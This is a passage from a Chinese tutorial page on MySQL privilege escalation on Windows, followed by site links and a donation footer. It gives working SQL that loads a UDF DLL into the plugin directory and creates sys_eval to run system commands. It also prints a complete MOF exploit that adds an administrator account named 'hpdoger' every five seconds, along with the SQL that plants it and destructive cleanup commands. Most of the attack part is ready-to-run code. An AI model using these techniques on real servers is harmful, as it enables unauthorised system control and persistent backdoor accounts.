Mysql提权的多种姿势汇总


当前第2页 返回上一页

接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:

show variables like '%plugin%'


写入动态链接库

当 secure_file_priv 无限制的时候,我们可以手工写文件到 plugin 目录下的

select load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll')  into dumpfile 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll';
c

创建自定义函数并调用命令

创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查看是否新增了sys_eval

接着就可以通过创建的这个函数来执行系统命令了:

删除自定义函数

drop function sys_eval;

三、MOF提权

mof提权原理

关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

严苛的前提条件:

1.windows 03及以下版本

2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

3.secure-file-priv参数不为null

提权过程:

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

利用代码如下(test.mof):

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MOF文件利用:

将上面的脚本上传到有读写权限的目录下:

这里我上传到了C:\soft\,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下

select load_file("C:/soft/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

验证提权:

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。

关于MOF提权弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

cmd 下运行下面语句:

#停止winmgmt服务
net stop winmgmt

#删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del c:/windows/system32/wbem/mof/nullevt.mof /F /S

# 删除创建的用户
net user hpdoger /delete

#重启服务
net start winmgmt

总结

到此这篇关于Mysql提权姿势的文章就介绍到这了,更多相关Mysql提权姿势内容请搜索

更多Mysql内容来自木庄网络博客


标签:Mysql

返回前面的内容

相关阅读 >>

mysql怎么查询最近7天的数据

史上最全mysql使用规范分享

mysql怎么工作的

详解mysql中default的使用

mysql之select、distinct、limit的使用

mysql官方手册学习笔记2 mysql的模糊查询和正则表达式

mysql数据库输入密码后闪退怎么办

mysql实例精讲单行函数以及字符数学日期流程控制

mysql数据意外删了怎么办

mysql如何添加多个btree索引

更多相关阅读请进入《mysql》频道 >>


数据库系统概念 第6版
书籍

数据库系统概念 第6版

机械工业出版社

本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...